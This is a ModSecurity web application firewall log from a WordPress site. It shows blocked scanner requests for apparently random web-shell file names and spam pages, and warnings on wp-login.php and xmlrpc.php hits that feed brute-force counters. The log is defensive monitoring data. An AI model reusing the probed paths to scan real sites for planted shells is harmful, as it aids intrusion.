[Fri Apr 10 22:21:29.503857 2026] [:error] [pid 13100:tid 13117] [client 158.158.45.58:28601] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adkHaVzg-ZkZ0InWIP3F2wAAAQw"]
[Fri Apr 10 22:21:29.983209 2026] [:error] [pid 62884:tid 62915] [client 158.158.45.58:42240] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adkHaeUCK1xrhnnmpo2MagAAAtg"]
[Fri Apr 10 22:21:30.465624 2026] [:error] [pid 62710:tid 62724] [client 158.158.45.58:42260] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adkHauME7qrf5xEWWJso3AAAAgs"]
[Fri Apr 10 22:21:30.945104 2026] [:error] [pid 62710:tid 62720] [client 158.158.45.58:41342] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adkHauME7qrf5xEWWJso4AAAAgc"]
[Fri Apr 10 22:21:31.535464 2026] [:error] [pid 62819:tid 62827] [client 158.158.45.58:21366] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adkHa_U20EyPf7NlsldzbgAAAoU"]
[Fri Apr 10 22:43:14.138966 2026] [:error] [pid 62769:tid 62780] [client 87.212.138.16:43792] [client 87.212.138.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.212.138.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adkMgsWsSnfLoB8ifjCP_QAAAkk"]
[Sat Apr 11 02:06:37.086554 2026] [:error] [pid 55451:tid 55476] [client 75.119.132.40:34016] [client 75.119.132.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 75.119.132.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adk8LXApxuyB7yCS5RkTkQAAANc"]
[Sat Apr 11 02:06:39.624836 2026] [:error] [pid 55451:tid 55458] [client 75.119.132.40:34016] [client 75.119.132.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 75.119.132.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adk8L3ApxuyB7yCS5RkTpgAAAMU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 11 02:23:21.830624 2026] [:error] [pid 21570:tid 21679] [client 103.28.36.198:50512] [client 103.28.36.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adlAGTKs5t9xRSNL6cnU2gAAAEk"]
[Sat Apr 11 02:23:23.722875 2026] [:error] [pid 21570:tid 21670] [client 103.28.36.198:50512] [client 103.28.36.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adlAGzKs5t9xRSNL6cnU3wAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 11 02:56:46.449892 2026] [:error] [pid 55451:tid 55470] [client 54.37.252.130:58464] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adlH7nApxuyB7yCS5Rk70wAAANE"]
[Sat Apr 11 02:56:48.381848 2026] [:error] [pid 55451:tid 55455] [client 54.37.252.130:33966] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adlH8HApxuyB7yCS5Rk74AAAAMI"]
[Sat Apr 11 02:56:50.383427 2026] [:error] [pid 21706:tid 21721] [client 54.37.252.130:33976] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adlH8iGQ1M5d8fQSsLHm6gAAAA0"]
[Sat Apr 11 02:56:52.395292 2026] [:error] [pid 55451:tid 55460] [client 54.37.252.130:33986] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adlH9HApxuyB7yCS5Rk76QAAAMc"]
[Sat Apr 11 02:56:54.398430 2026] [:error] [pid 21570:tid 21685] [client 54.37.252.130:33990] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adlH9jKs5t9xRSNL6cnoJwAAAEw"]
[Sat Apr 11 02:56:56.416090 2026] [:error] [pid 21570:tid 21693] [client 54.37.252.130:33992] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adlH-DKs5t9xRSNL6cnoKwAAAFM"]
[Sat Apr 11 02:56:58.413688 2026] [:error] [pid 21570:tid 21682] [client 54.37.252.130:48508] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adlH-jKs5t9xRSNL6cnoMgAAAEs"]
[Sat Apr 11 02:57:00.412324 2026] [:error] [pid 21570:tid 21698] [client 54.37.252.130:48524] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adlH_DKs5t9xRSNL6cnoNwAAAFg"]
[Sat Apr 11 02:57:02.412959 2026] [:error] [pid 21570:tid 21682] [client 54.37.252.130:48534] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adlH_jKs5t9xRSNL6cnoQAAAAEs"]
[Sat Apr 11 02:57:04.419827 2026] [:error] [pid 21568:tid 21582] [client 54.37.252.130:48544] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "adlIAIiz5v_ljZxkpR_wQAAAAQo"]
[Sat Apr 11 02:57:06.422769 2026] [:error] [pid 21569:tid 21646] [client 54.37.252.130:48550] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "adlIAnAvQTgvXJ6vHoq3jQAAAIE"]
[Sat Apr 11 02:57:08.289825 2026] [:error] [pid 55451:tid 55459] [client 54.37.252.130:47218] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "adlIBHApxuyB7yCS5Rk8DQAAAMY"]
[Sat Apr 11 02:57:10.296506 2026] [:error] [pid 21569:tid 21680] [client 54.37.252.130:47230] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "adlIBnAvQTgvXJ6vHoq3lQAAAJc"]
[Sat Apr 11 02:57:12.294196 2026] [:error] [pid 55451:tid 55458] [client 54.37.252.130:47244] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "adlICHApxuyB7yCS5Rk8KgAAAMU"]
[Sat Apr 11 02:57:14.294737 2026] [:error] [pid 21570:tid 21665] [client 54.37.252.130:47260] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "adlICjKs5t9xRSNL6cnoaQAAAEI"]
[Sat Apr 11 03:37:30.853378 2026] [:error] [pid 21570:tid 21698] [client 4.219.9.127:39778] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-942.php"] [unique_id "adlRejKs5t9xRSNL6cn7nwAAAFg"]
[Sat Apr 11 03:37:32.605571 2026] [:error] [pid 21706:tid 21711] [client 4.219.9.127:6954] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-942.php"] [unique_id "adlRfCGQ1M5d8fQSsLEUOwAAAAM"]
[Sat Apr 11 03:37:34.116172 2026] [:error] [pid 21568:tid 21581] [client 4.219.9.127:33736] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-942.php"] [unique_id "adlRfoiz5v_ljZxkpR8GSwAAAQk"]
[Sat Apr 11 03:37:35.410524 2026] [:error] [pid 55451:tid 55469] [client 4.219.9.127:39783] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-942.php"] [unique_id "adlRf3ApxuyB7yCS5RlaVwAAANA"]
[Sat Apr 11 03:37:38.515251 2026] [:error] [pid 21706:tid 21719] [client 4.219.9.127:32792] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4GrJSiwkF3A.php"] [unique_id "adlRgiGQ1M5d8fQSsLEUXQAAAAs"]
[Sat Apr 11 03:37:39.454920 2026] [:error] [pid 21706:tid 21720] [client 4.219.9.127:6149] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4GrJSiwkF3A.php"] [unique_id "adlRgyGQ1M5d8fQSsLEUaAAAAAw"]
[Sat Apr 11 03:37:40.371713 2026] [:error] [pid 55451:tid 55467] [client 4.219.9.127:39796] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4GrJSiwkF3A.php"] [unique_id "adlRhHApxuyB7yCS5RlaYAAAAM4"]
[Sat Apr 11 03:37:42.004744 2026] [:error] [pid 21706:tid 21731] [client 4.219.9.127:6451] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4GrJSiwkF3A.php"] [unique_id "adlRhiGQ1M5d8fQSsLEUbwAAABc"]
[Sat Apr 11 03:37:44.355529 2026] [:error] [pid 55451:tid 55468] [client 4.219.9.127:40862] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/SS72_kKKjT.php"] [unique_id "adlRiHApxuyB7yCS5RlaaQAAAM8"]
[Sat Apr 11 03:37:45.432441 2026] [:error] [pid 55451:tid 55465] [client 4.219.9.127:6431] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/SS72_kKKjT.php"] [unique_id "adlRiXApxuyB7yCS5RlacgAAAMw"]
[Sat Apr 11 03:37:46.469032 2026] [:error] [pid 21568:tid 21576] [client 4.219.9.127:34449] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/SS72_kKKjT.php"] [unique_id "adlRioiz5v_ljZxkpR8GWgAAAQQ"]
[Sat Apr 11 03:37:47.336305 2026] [:error] [pid 21706:tid 21709] [client 4.219.9.127:32801] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/SS72_kKKjT.php"] [unique_id "adlRiyGQ1M5d8fQSsLEUhQAAAAE"]
[Sat Apr 11 03:37:49.193956 2026] [:error] [pid 21706:tid 21717] [client 4.219.9.127:6441] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wkogn.php"] [unique_id "adlRjSGQ1M5d8fQSsLEUkAAAAAk"]
[Sat Apr 11 03:37:49.874305 2026] [:error] [pid 55451:tid 55463] [client 4.219.9.127:32768] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wkogn.php"] [unique_id "adlRjXApxuyB7yCS5RlagQAAAMo"]
[Sat Apr 11 03:37:50.980220 2026] [:error] [pid 21706:tid 21726] [client 4.219.9.127:6943] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wkogn.php"] [unique_id "adlRjiGQ1M5d8fQSsLEUogAAABI"]
[Sat Apr 11 03:37:51.957785 2026] [:error] [pid 21569:tid 21669] [client 4.219.9.127:7056] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wkogn.php"] [unique_id "adlRj3AvQTgvXJ6vHorH1wAAAJI"]
[Sat Apr 11 03:37:53.571705 2026] [:error] [pid 21706:tid 21709] [client 4.219.9.127:33764] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adlRkSGQ1M5d8fQSsLEUuQAAAAE"]
[Sat Apr 11 03:37:54.488823 2026] [:error] [pid 21706:tid 21721] [client 4.219.9.127:34409] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adlRkiGQ1M5d8fQSsLEUvwAAAA0"]
[Sat Apr 11 03:37:56.429404 2026] [:error] [pid 21706:tid 21708] [client 4.219.9.127:6427] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adlRlCGQ1M5d8fQSsLEUxgAAAAA"]
[Sat Apr 11 03:37:57.814580 2026] [:error] [pid 21568:tid 21578] [client 4.219.9.127:39784] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hwjtry0zd1fzeakcuzn8Cdefault.php"] [unique_id "adlRlYiz5v_ljZxkpR8GcgAAAQY"]
[Sat Apr 11 03:37:59.141386 2026] [:error] [pid 21706:tid 21729] [client 4.219.9.127:6924] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "adlRlyGQ1M5d8fQSsLEU1wAAABU"]
[Sat Apr 11 03:38:00.632997 2026] [:error] [pid 21706:tid 21709] [client 4.219.9.127:36954] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "adlRmCGQ1M5d8fQSsLEU4AAAAAE"]
[Sat Apr 11 03:38:01.590984 2026] [:error] [pid 21706:tid 21710] [client 4.219.9.127:6182] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "adlRmSGQ1M5d8fQSsLEU5AAAAAI"]
[Sat Apr 11 03:38:02.600087 2026] [:error] [pid 55451:tid 55467] [client 4.219.9.127:32776] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cilus.php"] [unique_id "adlRmnApxuyB7yCS5RlajwAAAM4"]
[Sat Apr 11 03:38:03.275806 2026] [:error] [pid 55451:tid 55455] [client 4.219.9.127:6205] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adlRm3ApxuyB7yCS5RlakwAAAMI"]
[Sat Apr 11 03:38:04.471305 2026] [:error] [pid 55451:tid 55457] [client 4.219.9.127:34403] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adlRnHApxuyB7yCS5RlamQAAAMQ"]
[Sat Apr 11 03:38:05.168503 2026] [:error] [pid 55451:tid 55465] [client 4.219.9.127:39756] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adlRnXApxuyB7yCS5RlamwAAAMw"]
[Sat Apr 11 03:38:06.307990 2026] [:error] [pid 55451:tid 55454] [client 4.219.9.127:34426] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adlRnnApxuyB7yCS5RlanwAAAME"]
[Sat Apr 11 03:38:07.395261 2026] [:error] [pid 21568:tid 21572] [client 4.219.9.127:39773] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wwdgl.php"] [unique_id "adlRn4iz5v_ljZxkpR8GhQAAAQA"]
[Sat Apr 11 03:38:08.080956 2026] [:error] [pid 55451:tid 55469] [client 4.219.9.127:54897] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wwdgl.php"] [unique_id "adlRoHApxuyB7yCS5RlapgAAANA"]
